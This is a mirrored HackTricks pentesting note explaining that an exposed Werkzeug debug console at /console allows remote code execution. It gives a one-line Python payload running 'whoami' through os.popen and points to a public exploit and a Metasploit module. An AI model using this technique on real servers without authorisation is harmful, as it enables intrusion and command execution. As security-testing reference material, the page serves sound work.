mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 17:28:13 +00:00
15 lines
322 B
Markdown
15 lines
322 B
Markdown
|
# werkzeug
|
||
|
|
||
|
If debug is active you could try to access to `/console` and gain RCE.
|
||
|
|
||
|
```python
|
||
|
__import__('os').popen('whoami').read();
|
||
|
```
|
||
|
|
||
|
![](../../.gitbook/assets/image%20%28348%29.png)
|
||
|
|
||
|
There is also several exploits on the internet like [this ](https://github.com/its-arun/Werkzeug-Debug-RCE)or one in metasploit.
|
||
|
|
||
|
|
||
|
|